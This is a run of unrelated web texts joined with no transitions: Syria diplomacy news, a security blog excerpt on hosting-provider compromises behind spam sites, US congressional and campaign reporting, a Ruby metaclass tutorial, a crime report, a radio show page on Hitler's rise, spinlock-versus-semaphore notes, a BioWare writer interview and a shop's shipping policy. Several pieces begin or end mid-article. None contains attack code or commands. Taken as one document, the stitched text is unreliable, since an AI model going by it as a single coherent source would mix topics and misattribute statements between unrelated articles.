Earlier, a delegation source said Steinmeier and Russian Foreign Minister Sergei Lavrov had a lengthy exchange about Syria on the sidelines of the meeting, with both agreeing to support the UN Syrian envoy, Staffan de Mistura's plan to create a Syrian contact group.De Mistura has invited warring parties to take part in UN-led working groups to address matters including political and constitutional issues, and military and security issues.Russia had called on Friday for cooperation with the United States to avoid "unintended incidents", as it stages naval exercises off the coast of Syria, where US officials believe Moscow is building up forces to protect long-term ally President Bashar Assad.Syrian state media said on Saturday two Russian planes carrying 80 tons of humanitarian aid arrived in Syria. Russia said on Friday it had been sending military equipment to help the Syrian government fight Islamic State.In an interview with regional German newspapers, German Foreign Minister Frank-Walter Steinmeier warned Russia against going it alone in Syria, saying: "I hope that Russia is not depending on the Syrian civil war continuing."Separately in a guest article for the New York Times, Steinmeier said the nuclear deal struck between Iran and six world powers had created an opportunity to tackle Syria's troubles, but he was concerned that the chance to make progress was fading."It would be folly to continue betting on a military solution," he said. "Now is the time to find a way to bring the parties to the negotiating table. This must include preparatory talks with and among crucial regional actors like Saudi Arabia and Turkey, but also Iran."US President Barack Obama said on Friday that Russia's escalated military involvement in Syria indicates Assad is worried and turning to Russian advisers for help.EU diplomats are concerned that Russian military support for Assad would counter any incentives to consider a political solution in the civil war.
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Type of Software used to create the hijacked sites
Also, a large number of hijacked sites actually had no dynamic pages - they contained only images, JavaScript, CSS and HTML files. As such, they are unlikely to have been hacked through a vulnerability in the software installed. Therefore, we can assume that one of the two following techniques were leveraged to add the PHP scripts used to generate spam pages to the sites:
Admin credentials have been stolen/brute forced, or webmaster kept the default login/password. The malicious scripts where simply uploaded using their FTP account or a web based admin interface. Shared hosting servers could have been compromised.
The second possibility is the most likely. There have been mass-infections reported in the past for GoDaddy, BlueHost, Dreamhost, etc. The distribution of hacked sites by hosting companies is interesting:
The Endurance International Group, which owns 20 hosting companies (iPowerWeb, Pow Web, Dot5 Hosting, StartLogic, Fatcow, Globat, etc.) hosts 38% of the hijacked sites. Bluehost, a rather small hosting provider, represents 28% of the hijacked sites. However, the biggest providers host a small proportion of sites used for malicious spamming: 2% for GoDaddy, and less than 0.5% for 1&1.
It seems that most of the legitimate sites have been hijacked through a vulnerability in their hosting platform rather than in the software they are running. That's not good news for the webmaster who wants to keep his site safe: part of the problem is out of their control, keeping your WordPress or Drupal version up to date and locked down is not enough - you also need to seek out a secure hosting provider.
Enlarge this image toggle caption Charles Dharapak/AP Charles Dharapak/AP
It's been about a month since Republicans took charge of the House of Representatives. The "cut and grow majority," as they called it, charged in full steam ahead, ready to change the way the Congress runs and to slash federal spending across the government.
But somewhere in the past few weeks, things started to get difficult for GOP leaders. Now, they seem to be having trouble running the House floor and even keeping their own members united.
Perhaps the first sign of real problems within the House GOP was its response to President Obama's State of the Union address two weeks ago. Or rather, the two responses: one from Paul Ryan of Wisconsin, the Budget Committee chairman; and another from Michele Bachmann of Minnesota, a Tea Party favorite.
But if that was the first sign, this week is the confirmation.
First, the Republicans had to yank a trade bill from the House schedule when they realized they didn't have the votes to pass it — even though the GOP has a 49-seat advantage in the House.
Then Tuesday night, Republicans actually lost a vote on extending some Patriot Act provisions that allow the government to get roving wiretaps, track lone-wolf terrorists, and get records from libraries and businesses.
And on Wednesday afternoon, Republicans lost another vote — this time on cutting funds to the United Nations.
So the GOP is having a terrible week.
"We've been in the majority four weeks. We're not going to be perfect every day," House Speaker John Boehner said.
He brushed off the problems, especially losing the Patriot Act vote. Republican leaders brought it to the floor under a procedure that requires a two-thirds majority for it to pass, so they only have to reschedule it under regular rules, and it will likely go through. Basically, they miscalculated. And that's probably because they didn't expect 26 of their own Republican members to vote against it — most of them freshmen or Tea Party members.
Republicans are also retooling their message. It turns out the banner "cut and grow" wasn't resonating as much as they had hoped — because it was missing an important word: jobs. Democrats picked up on this and started hammering.
"I rise today to ask my Republican friends a simple question: Where is the job creation agenda?" Virginia Democrat Gerry Connolly said. "In the first month of the 112th, this body has not taken up a single piece of legislation that will create jobs and put Americans back to work."
So now Boehner and other Republican leaders are trying to explain how their "cut and grow" agenda really is about lowering unemployment.
"Republicans are continuing to be focused on creating an environment that will get economic activity moving in America and help create jobs," Boehner said.
On top of all this, another storm is brewing within the Republican majority, even as it unveils what should be a signature piece of legislation: the bill to fund the federal government for the rest of the year.
The chairman of the Appropriations Committee has released proposed budget cuts to everything from job training programs to food safety inspections to zeroing out the Corporation for Public Broadcasting, which contributes to NPR and public radio stations. But within the GOP, lawmakers want to cut deeper.
House Majority Leader Eric Cantor says it's not a bad problem to have.
"We said we were going to change the culture in Washington, and I don't think any of us can really remember a time in which we were really bickering about the levels of spending cuts," he says.
So what is it that's making things so difficult and messy for the new majority?
http://whytheluckystiff.net/articles/seeingMetaclassesClearly.html
Sunday, April 17, 2005
Seeing Metaclasses Clearly
If you're new to metaprogramming in Ruby and you'd like to start using it, perhaps these four methods could give you a bit more vision.
class Object # The hidden singleton lurks behind everyone def metaclass; class << self; self; end; end def meta_eval &blk; metaclass.instance_eval &blk; end # Adds methods to a metaclass def meta_def name, &blk meta_eval { define_method name, &blk } end # Defines an instance method within a class def class_def name, &blk class_eval { define_method name, &blk } end end
I've been keeping these methods in a file called metaid.rb and it's a start toward building a little library that can simplify use of metaclasses. Let's talk about metaclasses and I advise you to keep metaid.rb at your side. Take time to run some code from this article and you'll understand much better.
About Classes
Well, what is a Class? Let's create a simple object and see.
>> class MailTruck >> attr_accessor :driver, :route >> def initialize( driver, route ) >> @driver, @route = driver, route >> end >> end >> m = MailTruck.new( "Harold", ['12 Corrigan Way', '23 Antler Ave'] ) => #<MailTruck:0x81cfb94 @route=["12 Corrigan Way", "23 Antler Ave"], @driver="Harold"> >> m.class => MailTruck
An Object is storage for variables. Instance variables. A MailTruck object, once initialized, will have a @driver and a @route variable. It can hold any other variables as well.
>> m.instance_variable_set( "@speed", 45 ) => 45 >> m.driver => "Harold"
Okay, so the @driver instance variable has an accessor. When Ruby sees attr_accessor :driver in the MailTruck class definition, you get reader and writer methods. The methods driver and driver=.
These methods are stored in the class. So the instance variable is in the object and the accessor methods are in the class. They're in two completely different spots.
It's an important lesson: objects do not store methods, only classes can.
Classes Are Objects
Okay, but classes are objects, right? I mean if everything is an object in Ruby, then classes and objects should both be objects. Which makes them the same?
Sure, classes are objects. You can run all the same methods on classes that you can run on object. Look, they each have their own ID in the symbol table.
>> m.object_id => 68058570 >> MailTruck.object_id => 68069450
But I've already told you: classes store methods. They're different. Now I know you're probably a bit confused wondering, "If a class is an object, but objects are built on classes, isn't there a big confusing infinite cycle here that you're not explaining?"
No, there's not. I hate to break it to you, but a class isn't really an object. From Ruby's source code:
struct RObject { struct RBasic basic; struct st_table *iv_tbl; }; struct RClass { struct RBasic basic; struct st_table *iv_tbl; struct st_table *m_tbl; VALUE super; };
Look! A class has an m_tbl (a symbol table for storing methods) and a superclass (pointer to a superclass).
But let me reassure you. To a Ruby programmer, a class is an object. Because it meets the two big criteria: you can store instance variables in a class and it is descended from the Object class. That's it.
>> o = Object.new => #<Object:0x815c45c> >> o.class => Object >> Class.superclass.superclass => Object >> Object.class => Class >> Object.superclass => nil
The Object class sits at the very head of the table and comes down to participate only when it has methods that can't be found anywhere else.
What On Earth Are Metaclasses?
The term metaclass is supposed mean "a class which defines classes." This definition doesn't really work with Ruby, though, since "a class which defines a class" is simply: a Class.
Look at how you can add a method in the Class class and then use it in class definitions.
>> class Class >> def attr_abort( *args ) >> abort "Please no more attributes today." >> end >> end >> >> class MyNewClass >> attr_abort :id, :diagram, :telegram >> end
Which prints Please no more attributes today. The attr_abort method can be used in definitions.
You're constantly defining and redefining classes in Ruby. It's not meta, it's just part of the code. Classes hold methods. How can you complicate that?
Since the earlier definition doesn't really work, I like to think of the Ruby metaclass as "a class which an object uses to redefine itself."
Do Objects Need Metaclasses?
Objects can't hold methods. Most objects don't need to hold methods.
But sometimes you may want an object to have some methods. Sometimes that's your answer to a problem. You can't do that. But Matz has given us metaclasses which are good enough.
In the YAML library, you can customize the properties shown when an object is output.
>> require 'yaml' >> class << m >> def to_yaml_properties >> ['@driver', '@route'] >> end >> end >> YAML::dump m --- !ruby/object:MailTruck driver: Harold route: - 12 Corrigan Way - 23 Antler Ave
This is handy if you want to dump one specific object with a certain style of YAML without effecting every object from that class. In the above example, only the object in the m variable will be output with its properties in order. All other MailTruck objects will be output in whatever way the YAML library chooses. Sometimes we may want to display a certain string one way without needing to modify the String class (which affects every string in your code).
So the object in the m variable has its own special toyamlproperties method. It's stored in a metaclass. The metaclass stores methods for the object and sits right in the inheritance chain.
We could also add the toyamlproperties method with this convenient syntax:
def m.to_yaml_properties ['@driver', '@route'] end
If you have the metaid.rb methods from the top of this article loaded, try this:
>> m.metaclass => #<Class:#<MailTruck:0x81cfb94>> >> m.metaclass.class => Class >> m.metaclass.superclass => #<Class:MailTruck> >> m.metaclass.instance_methods => [..., "to_yaml_properties", ...] >> m.singleton_methods => ["to_yaml_properties"]
When you use the class << m syntax, you're opening up a metaclass. Ruby calls these virtual classes. Notice the result of m.metaclass. A class attached to an object:
#<Class:#<MailTruck:0x81cfb94>>.
When an object finds methods in an attached metaclass, these methods are referred to as the object's singleton methods rather than the object's metaclass' instance methods (if you get my drift.) And since there can only be a single metaclass attached to an object, it's called a singleton.
It's much easier to see metaclasses when you're using the metaclass method. Normally, you would need to use class << self; self; end ) wherever you wanted to root out a metaclass. But this makes it much simpler. Do Metaclasses Need Metaclasses?
>> m.metaclass.metaclass => #<Class:#<Class:#<MailTruck:0x81cfb94>>> >> m.metaclass.metaclass.metaclass => #<Class:#<Class:#<Class:#<MailTruck:0x81cfb94>>>>
Check out those frivolous metaclasses we're creating. So what can we do with a metaclass of a metaclass?
Well, the same thing we do with a normal metaclass. A normal metaclass holds methods for an object. So a metaclass of a metaclass holds methods for that metaclass ? which is just an object, of course!
The problem with a metaclass of a metaclass is that there's not much practical use for them. You can only use the methods if you're deep inside the chain and we don't really want to spend much time down there.
>> m.meta_eval do >> self.meta_eval do >> self.meta_eval do >> def ribbit; "*ribbit*"; end >> end >> end >> end >> m.metaclass.metaclass.metaclass.singleton_methods => ["class_def", "metaclass", "constants", "meta_def", "attr_test", "nesting", "ribbit"]
Metaclasses are only really useful one level deep. You want to have give methods to an object. Or, as you will see, you might want a specific class to have a metaclass. Beyond that, you're just storing methods in these obscure metaclasses that no one can really get at. Which you might need to do sometime. Who knows.
The important thing to know at this point is: metaclasses don't go up, they go out. Yes, when you create a metaclass for an object, it happens to intercept method calls before the object's inheritance chain. But that doesn't mean inheritance is affected by further metaclasses. When you create a metaclass of a metaclass, it has no affect on the object referred to by the original metaclass. Metaclasses Have One More Funky Trick For Classes and It's The Crucial Trick In The Metaprogrammer's Handbook
One more point and I believe this one is the juiciest. If you read the rest of this essay and quit before this section, you've come away without the most important lesson. You may know some nice things about objects and metaclasses, but it all pales.
I'm going to reiterate two previous statements about classes and build on them.
Class are objects. This means they can hold instance variables. Metaclasses hold instance methods. When attached to an object, these methods become singleton methods. These methods intercept calls before they trickle up the chain of inheritance.
Have you ever used instance variables in a class before? I don't mean in a class method. I mean in the class itself.
class MailTruck @trucks = [] def MailTruck.add( truck ) @trucks << truck end end
Why not just use a class variable?
class MailTruck @@trucks = [] def MailTruck.add( truck ) @@trucks << truck end end
They work exactly the same, right? I mean it doesn't matter, does it?
Here are two reasons you've probably been using class variables rather than class instance variables:
Class variables are clearly class variables. They have two at-symbols. Less confusion. Class variables can be referenced in instance methods, if needed.
See, this works properly:
class MailTruck @@trucks = [] def MailTruck.add( truck ) @@trucks << truck end def say_hi puts "Hi, I'm one of #{@@trucks.length} trucks!" end end
But this does not:
class MailTruck @trucks = [] def MailTruck.add( truck ) @trucks << truck end def say_hi puts "Hi, I'm one of #{@trucks.length} trucks!" end end
So what are instance variables good for? What a waste of space! I'm never using them again! (Yes, please stick to class variables in situations like the above.)
Let me also point out that metaclasses are again showing up above, since every class method is stored in a metaclass. That's simply just how it works.
Which is why you can also use self:
class MailTruck def self.add( truck ) @@trucks << truck end end
Or the singleton syntax:
class MailTruck class << self def add( truck ) @@trucks << truck end end end
Class instance variables and metaclass instance methods are really pretty pointless in a plain old class. But when inheritance enters the mix, the party comes alive. Writhing bodies and drunken madness, believe me.
class MailTruck def self.company( name ) meta_def :company do; name; end end end
The above method is remarkably simple, but excavates a beachhead worth of possibilities. A new company class method is added to MailTruck that can be used in a class definition.
class HappyTruck < MailTruck company "Happy's -- We Bring the Mail, and That's It!" end
Okay, so the company class method gets executed with the Happy's company name and slogan. What does meta_def do with it??
Well, the meat of meta arrives here. The meta_def adds a new method called company to the HappyTruck metaclass. The beauty of this is that the method is not added to the MailTruck metaclass, but to the derived class HappyTruck.
This may seem simple, but it's very powerful. You can write simple class methods which will add class methods to a derived class. This is the secret to Rails and Ruby/X11 and so many other examples of metaprogramming in Ruby. Dwemthy's Array
I discovered most of this while building Dwemthy's Array for my cartoon Ruby book. I was able to simplify the Creature code (which gives a readability to the RPG) down to this fragment:
class Creature def self.traits( *arr ) return @traits if arr.empty? attr_accessor *arr arr.each do |trait| meta_def trait do |val| @traits ||= {} @traits[trait] = val end end class_def :initialize do self.class.traits.each do |k,v| instance_variable_set( "@#{k}", v ) end end end end
The metadef and classdef help make the metaprogramming a bit more clear. Pay close attention to the use of instance variables in the meta_def. If you want to understand just why class variables won't work in this situation, then try changing the instance variables to class variables above.
Then, start creating monsters as described on the Dwemthy's Array page and you'll watch them step all over each other.
11:51 PM
disoriented?
why the lucky stiff
is a fledgling freelance professor, one who will die young and make no lasting impression.
except there was that time when i vacuumed all of Greenland for them.
The Florida campaign for President Barack Obama announced Sunday that former astronaut Mae Jemison, the first African-American woman in space, will campaign for the president’s reelection on Florida’s Space Coast on Monday. Jemison, according to the media advisory, will tour Advanced Magnet Lab, a small business in Palm Bay, Florida, that “embodies the importance of President Obama’s space exploration policies for Florida,” in the words of the statement. After the tour, Jemison and Mark Santi, the president of Advanced Magnet Lab, will speak to the media “to discuss how President Obama’s policies ensure that Kennedy Space Center will continue to make history as America’s spaceport during the new chapter in space exploration that our nation is embarking upon.”
While Advanced Magnet Lab may embody “the importance of President Obama’s space exploration policies for Florida,” space appears to be only a small part of its overall portfolio. The company mentions that superconducting magnets offer “many attractive attributes for space exploration”, but its space-related business appears to be limited to a contract with NASA to develop a model for high-power superconducting machines and a partnership with a NASA/JSC researcher on a NIAC grant to study the use of superconducting magnets in radiation shielding systems.
UPDATE 5:17 P.M.: His arraignment has been postponed until August 18, so he did not enter a plea. He is being held without bail. REDWOOD CITY (BCN) -- Redwood City resident Daniel Contreras, 27, will make his initial appearance in court Tuesday on charges of murder, felony child abuse leading to the death of a child and multiple counts of lewd acts involving a child.
Contreras is being charged in connection with the death of 17-month-old Evelyn Castillo, who was found unconscious and not breathing on Thursday while in his care. He is scheduled to appear at 1:30 p.m. on the Custody Calendar in Courtroom 4A at the Hall of Justice, 400 County Center, Redwood City.
Evelyn Castillo was found unconscious and unresponsive in an apartment in the 400 block of Madison Avenue around 2:30 p.m. Thursday after police and medics were called to the scene. She was taken to Kaiser Permanente's Redwood City Medical Center but died a short time later, according to police. Contreras, who was dating Evelyn's mother, had been caring for the toddler at the time of her death, according to prosecutors.
The Totenehrung (honoring of the dead) at the 1934 Nuremberg Rally. SS leader Heinrich Himmler, Adolf Hitler and SA leader Viktor Lutze (from L to R) on the stone terrace in front of the Ehrenhalle (Hall of Honor) in the Luitpoldarena. (Creative Commons)
In 1928, the Nazi Party got 2.6 percent of the vote in Germany. In 1933, Adolf Hitler was the German chancellor. Leader of the country. And soon the world would be on the road to war and holocaust. How did that happen? How did Hitler come to power in a democracy? A new history tells the story but many are thinking about it now, as rightwing populism has surged across Europe and raised its voice in the U.S., too. This hour On Point, how Hitler came to power, and lessons for today. — Tom Ashbrook
Guests
Josef Joffe, publisher and editor of the German magazine, Die Zeit. Visiting professor of political science at Stanford University.
Eric Weitz, professor of history at the City College of New York. Author of "Weimar Germany," "A Century of Genocide" and "Creating German Communism."
From Tom’s Reading List
New York Times: In ‘Hitler,’ an Ascent From ‘Dunderhead’ to Demagogue — "How did Adolf Hitler — described by one eminent magazine editor in 1930 as a 'half-insane rascal,' a 'pathetic dunderhead,' a 'nowhere fool,' a 'big mouth' — rise to power in the land of Goethe and Beethoven? What persuaded millions of ordinary Germans to embrace him and his doctrine of hatred? How did this 'most unlikely pretender to high state office' achieve absolute power in a once democratic country and set it on a course of monstrous horror?"
The Wall Street Journal: So Many Hitlers — "Hitler, of course, never went away in the first place. Since the immediate postwar period there has been a steady stream of biographical studies of the highest quality. Their successive struggles to make sense of a figure who was as personally inscrutable as he was politically destructive bear witness to the continuing fascination exerted by one of history’s most notorious men."
1) Spinlocks can only be used for mutual exclusion, that is it can allow only one process into the critical region at any given time.
In semaphores we can use it for either mutual exclusion or it can be used as counting semaphore to allow more than on process into the critical region.
2) In spinlocks a process waiting for lock will keep the processor busy by continuously polling for the lock.
In semaphores a process waiting for a semaphore will go into sleep to be woken up at a future time and then try for the lock again.
3) In spinlocks a process waiting for lock will instantly get access to critical region as the process will poll continuously fro the lock.
In semaphores the process waiting for a lock might not get into critical region as soon as the lock is free because the process would have gone to sleep and will enter the critical region only when it is waken up.
4) Spinlocks can have only two values LOCKED and UNLOCKED.
Semaphores if used as mutex will have value 1 or 0, but used as counting semaphore it can have different values.
5)Spinlocks are not very useful in uniprocessor systems as they will keep the processor busy while polling for the lock, thus disabling any other process from running.
Semaphores don't keep the processor busy while waiting for the lock thus, they can be conveniently used in a uniprocessor system
6) It is recommended to disable interrupts while holding a spinlock.
Semaphores can he locked with interrupts enabled.
RPS: You’ve been writing at BioWare for a very long time.
Gaider: 14 years. I think that’s a long time.
RPS: BioWare has its thing that it does with most of its games. Big, epic adventures. A number of different archetypes show up in different games. For instance, HK-47 and Shale were quite similar. After doing that for so long, are you worried about your writing becoming stale?
[pullquote]The worst thing is to ignore feedback and work entirely in a vacuum.[/pullquote]
Gaider: Ah. Occasionally you’ll start writing something and you’ll realize that you’re feeling déjà vu. “I’ve written this before.” That’s happened sometimes, especially if you’re hanging around in the same genre like I’ve been. Different genres rest on certain themes that are going to come up again and again. But if you recognize that’s happening you can do something about it, if it’s something that’s worth having something done about it. I know that in our forums, every now and again someone will come and say, “You have these archetypes that come up again and again.”
Well, there’s nothing wrong with archetypes. As long as those characters are doing something different, the fact that you can find some similarities between them is unimportant. As long as there is a difference. As a writer, I can recognize that. The bad thing would be to unwittingly repeat yourself and have someone point it out to you afterwards and you say, “Oh. I wasn’t aware of that.” You should be aware of it.
RPS: You mentioned the forums. BioWare is a company that seems very tuned in to what people are saying about their games – even if you don’t always manage to please everyone.
Gaider: Yeah, it factors not as much as some people would think, but more than some others would think. If you aren’t getting feedback from somewhere like a game forum, then where are you getting it from? The worst thing is to just ignore it utterly and work entirely in a vacuum. Even with the input from the fans, the feedback from the fans, at some level you have to make what you think is right. With something like the forums, their opinions are all over the place. Often when a fan will speak on a forum they speak as if everybody on the forums agrees about their concern and they all think exactly the same thing. I’ve never found that to be true.
Ultimately, if you’re doing something that you think is right, at least you know one person thinks it’s right. The worst thing to do would be to act entirely based on what you think the fans want, even if you don’t agree with it personally. Chances are you’re not going to please anyone that way. We do try to keep abreast. We have to mentally compartmentalize and put that aside. “We’ve heard what they said…” It’s like they’re a voice at the table. They say, “This is what we want.” We say, “Okay, we’ll take that under consideration. We’ll talk about it.”
RPS: It’s an interesting time to be doing that, especially with Dragon Age III. You’ve directly solicited feedback. You’ve said, “What are you looking for out of the next Dragon Age game?” That’s happening at a time where Kickstarter is emerging as this big thing. It’s create much more directly collaborative development, because people are putting their money into it. Developers are saying, “You have a stake in this now. What do you want? We’ll actually do what you say.”
Gaider: The Kickstarter market is definitely more niche-oriented. The niche isn’t a bad thing. It’s a segment of the audience that is intensely interested in this particular thing. They don’t have to worry about going broad and having mass appeal. They don’t need it. They’re doing smaller teams, smaller budgets. That’s something that they can do that’s very strong. That’s a strength that they can really work from.
RPS: What I was wondering, though, is because there’s a trend in that direction, are you worried that fans might get especially outraged when, inevitably, you don’t include all their requests in Dragon Age III?
Gaider: It could happen. Our fans, like I mentioned before, don’t agree on any one thing. You have some fans that are intensely interested in having one thing happen and a big group that are invested in having another thing happen. There’s no way we could possibly make everybody happy.
If somebody, in the long term, is finding that we’re not making games that make them happy, then it’s a good thing that there are things like Kickstarter out there that are servicing different elements of the fanbase. Not that we would want to drive people away by any means, but that’s why we’re soliciting some feedback and why we’re probably going to be doing more of that as we go forward. I guess you could say that the fanbase is a little polarized on some issues. It’s not that we’re trying to say, “We’ll please everybody,” but we’ll listen to their concerns and try to make the best game we can and see if we can’t bring some elements of those disparate parts of the fanbase a little closer together. That’d be a nice thing to try. Although, like I said, you can only go so far.
RPS: It’s an interesting spot to find yourself in, definitely.
Gaider: Interesting in the Confucian sense, yes [laughs].
RPS: A lot of people, when they look at what you’re doing now, still expect it to be in the exact same place as what BioWare was doing back in the late ‘90s. Whereas what you’re making now is clearly for an audience that’s much bigger. A lot more people are playing these sorts of games.
Gaider: We have much bigger budgets, so we have to have a bigger audience.
RPS: Straddling that line between wider audiences and RPG diehards, where does your focus end up? As a writer, what gets top priority?
Gaider: The main concern over the story is that we have to balance the interests of long-time fans in the story. We’re talking about people who have played Dragon Age: Origins and Dragon Age II coming into Dragon Age III, but we also have to keep in mind people who are coming to Dragon Age III fresh, who have no previous experience. That’s the biggest thing we have to concern ourselves with.
When the team looks at the concerns of various groups, they’re keeping in mind the biggest concerns and trying to address them as much as possible. We can’t possibly address everything. Even the things we do address, eventually we’re going to have to say, “What is our primary goal here? Is it to, say, solicit the long-time fan who maybe wasn’t happy with Dragon Age II? Or are there things we can do with that feature that could mollify them and make them feel like they aren’t being excluded from continuing? So they don’t feel like we’ve abandoned them.” There are things we can do. Once we start showing Dragon Age III, people will be able to see what we’ve been playing with – some new ideas we’re bringing to the table, some old ideas we’re bringing back. They can judge for themselves.
RPS: You’ve done a lot of BioWare-type adventures and stuff like that. Has there ever been a point where you’ve said, “Okay, I want to do something that’s not a hero’s journey, that’s not that sort of progression and build-up”? On some level, was Dragon Age II – with its narrower focus and less earthshaking choices – that game?
Gaider: It was something to try. We did mix up the formula on purpose. That was one of the parameters that I was given by Mike Laidlaw. He wanted to do something a bit different with the framing narrative and the time jump. The problem we ended up with is that some of our ideas we had were just bigger than the time we had and the content we needed to support those ideas.
Would we do that again? Possibly. I think we’d want to be more careful the next time we tried to go that far outside the box. “What do we actually have time to support?” Even so, I think we did a pretty good job. We had a lot of positive response to varying up the whole… The typical hero’s journey where you start off with humble beginnings, become a hero, save the day, save the world. I think it was good to do something different. We had a story that was about failure as much as it was about epic success.
RPS: I was going to say, for Hawke things just kind of sucked all the time.
Gaider: [laughs] Yeah, it certainly was different. I think DAII was ultimately a little more linear than DAO just by virtue of its construction, but I don’t think that the nature of the storytelling we tried inherently limited that. That was more related to how much time we had on the project. The less time you have, the fewer alternate paths you can put in. But I think if we were to try that again, we could approach it from a more holistic standpoint, looking at what each variant, each story element we haven’t tried before. How much is that actually going to require from us? Is that a check we’re willing to cash? I think that would be interesting. I would hate for us to look at what we did in DAII and think, “Some parts of that worked really well. Some parts of that didn’t. Everything that didn’t, we’re not going to do anymore.” I think that would be the wrong path to take.
RPS: I think I enjoyed it more than a lot of people. I found the story fascinating, even though choices felt very limited. It was almost a narrative about powerlessness. The fact that you were a guy or girl tossed into these terrible circumstances and you just had to react and deal with it. It wasn’t so much about Shepard-style heroics. It was kind of an un-epic.
Gaider: It wasn’t shaping the course of the world.
RPS: Yeah, you were just sort of surviving. Is that what you were intending with that story?
Gaider: Yeah. The themes that were going on in Dragon Age II weren’t about heroism, necessarily. That wasn’t a theme. It was about freedom versus security, which I thought was a good, timely issue. How much freedom do you let people have versus how much security is necessary for people? Like the mages versus templars. That had more application than just that, that struggle between the need to have a secure society versus the struggle for individual freedom.
We had family as a big issue we wanted to focus on. That came up a lot in the game. Maybe we had too many themes going on? I guess it’s arguable. Every time we finish a story, there’s always things we look back on. “Would we have done that differently knowing what we know now?” It was the same after DAO, as successful as DAO was. There were some things that ended up happening in that game that just… We went in a direction of habit as much as we did out of a conscious decision to write the story in that way. So I think that thinking about the methods and elements more should help us in the long run.
RPS: That was another thing that took a lot of people by surprise about Dragon Age II. A lot of the themes were pretty relevant. I think that’s more the purview of sci-fi in a lot of cases: “Let’s take these themes that are present today and abstract them into the future.”
[pullquote]The themes that were going on in Dragon Age II weren’t about heroism.[/pullquote]
Gaider: I actually don’t like that. People put fantasy as a genre into a much smaller box than something like science fiction. I don’t think that necessarily needs to be the case. I think there just hasn’t been a lot of fantasy that’s been done that way. The sort of fantasy you get tends to follow the same sort of “epic ancient evil threatens the world” thing almost out of habit. I don’t think that fantasy needs to be inherently limiting in the types of themes it addresses. I’d like to see us vary it up.
The mistake a lot of people make, and we see this a lot, is that they always assume that the last thing we did will be the next thing we do. Which is never the case. We always look at something we did the last time and want to try something new. The chance that, from one game to the next, we would do exactly the same type of story… It just doesn’t happen.
RPS: Even so, are you going to elaborate on any of Dragon Age II’s themes in Dragon Age III?
Gaider: We have some balls that are up in the air. We can’t just let those go. Those are things we need to deal with that we left up in the air after the end of DAII. We can’t just move on to something completely new. We can’t just jump across the continent and suddenly we’re dealing with something else entirely. There are things we have to address. But we probably will move on to new overall themes. We will try different narrative elements.
I am doing my best to deal with the high prices at Canada Post so my customers do not have to pay super high shipping.
If you are ordering more than one shirt, they will be sent separately, so as to keep the shipping cost as low as possible (more than one shirt changes the shipping to "Small Packet" which is a much higher cost than oversized letter mail).
If you are ordering four shirts or more, please contact me and I will give you an updated shipping price, since at that point I can send them as a small packet, which may lower the price.
With standard shipping, I cannot offer a tracking number. If you would like expedited shipping, or to ensure you get a tracking number, please contact me and I can quote you the price for this.
Please allow up to five days before shipping.
The provision, sponsored by Ways and Means Committee Chairman Rep. Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE (R-Wis.), would “ensure that trade agreements do not require changes to U.S. law or obligate the United States with respect to global warming or climate change.”
It was added late Tuesday to the House’s customs bill, which lawmakers are using to put guidances and limitations on their so-called “fast track” legislation, allowing President Obama to negotiate the Trans-Pacific Partnership (TPP). It is therefore meant to apply to the TPP, but it would also apply to any other trade deals made under the fast-track authority, also known as Trade Promotion Authority.
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The House will vote as soon as Friday on the bill.
Republicans count it among provisions they say would strengthen the Trans-Pacific Partnership and prevent Obama from changing environmental law through trade deals.
The bill has a similar provision regarding immigration agreements.
“It’s just making sure that if the administration wants to go down a path of seeking legislative changes in climate or immigration, they can’t do it through trade agreements,” Ryan said at a Rules Committee hearing on the legislation.
Doug Andres, a spokesman for Paul, said the congressional delegation of coal-heavy West Virginia, which could suffer from climate deals, requested the language.
Republicans have for years worked to stop internationally binding climate treaties, fearing the economic repercussions domestically.
Environmentalists were angered with the Paul amendment when they discovered it Wednesday, saying it would unnecessarily tie Obama’s hands when it comes to getting meaningful international work done on climate.
“President Obama needs to make it clear that ‘21st century trade deals’ cannot block climate action,” Luísa Abbott Galvão, a climate campaigner with Friends of the Earth, said in a statement.
“The president should start by telling Republican leadership and the public that the provision in the customs amendment is unacceptable. President Obama cannot credibly claim that trade deals will force other countries to raise their environmental standards if he allows the same deals to secure a pass for the U.S. to keep dumping carbon into the planet’s atmosphere,” she said.
Rep. Raúl Grijalva (D-Ariz.), already a strong opponent of the fast-track authority, sharply criticized the amendment.
“Fast track trade authority is already primed to send jobs overseas, hurt the working people of this country and reduce Congressional oversight of our economy,” he said in a statement.
“Now Republicans want to use it to prevent any new climate change standards in our trade deals,” Grijalva continued. “Their goals have nothing to do with creating jobs and everything to do with jamming favors for their corporate sponsors into every bill they handle.”
His question bundled those features up into one convenient package. He asked how Cruz would protect him and his husband if he became president.
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Cruz gave an answer about religious freedom and said, “I think that keeping government out of the way of your lives protects the freedom of every one of us.”
Robin Roberts, who came out as gay only two years ago, pushed back, asking the candidate if everyone has the right to be treated equally. Cruz responded by backing up his support of overturning the Supreme Court ruling that legalized gay marriage in all 50 states.
Cologne’s original question went totally unanswered.
[image via screengrab]
For more from Lindsey, follow her on Twitter.
According to a local Saudi news reports Saturday, a judge in the town of Arar found the man guilty of trying to blackmail the woman with intimate pictures of herself.
The woman, who was a government employee, allegedly complained several times to the Virtue Police, a force tasked with enforcing Islamic Sharia law as defined by the government. Police then arrested the man as he tried to harass her at her place of work.
Dec. 22, 2017, 9:39 AM GMT / Updated Dec. 22, 2017, 9:39 AM GMT By Suzy Khimm
WASHINGTON — President Donald Trump has celebrated his regulatory rollbacks as one of the biggest triumphs of his first year in office.
While he’s struggled for legislative wins — the passage of the GOP tax bill being the only major exception — his administration has wielded the executive branch's authority to shape scores of federal rules and reverse Obama-era policies on everything from climate change to campus sexual assault. He boasted in a speech at the White House in mid-December that his administration had eliminated 22 old regulations for every new one it had issued.
By certain measures, Trump has overstated his success. Fully eliminating rules that are already on the books is typically a time-consuming and onerous process. Instead, his administration has focused on stopping or delaying proposed regulations that have yet to take effect, and many of these rules are still being developed or weren’t poised to take effect anyway, as Bloomberg News reported recently. Federal courts have also curtailed some of Trump’s major deregulatory efforts.
That said, Trump has made progress in halting or slowing some major Obama-era initiatives. And some regulatory experts believe that the message the president is sending on deregulation is just as important as any specific policy changes he is enacting.
"This is the most anti-regulatory administration — probably even more so than the early Reagan administration — since regulations became a policy issue," said Stuart Shapiro, a Rutgers University professor who studies regulatory policy.
Here are some of the Trump administration’s most significant deregulatory actions in 2017:
Worked to eliminate the Clean Power Plan
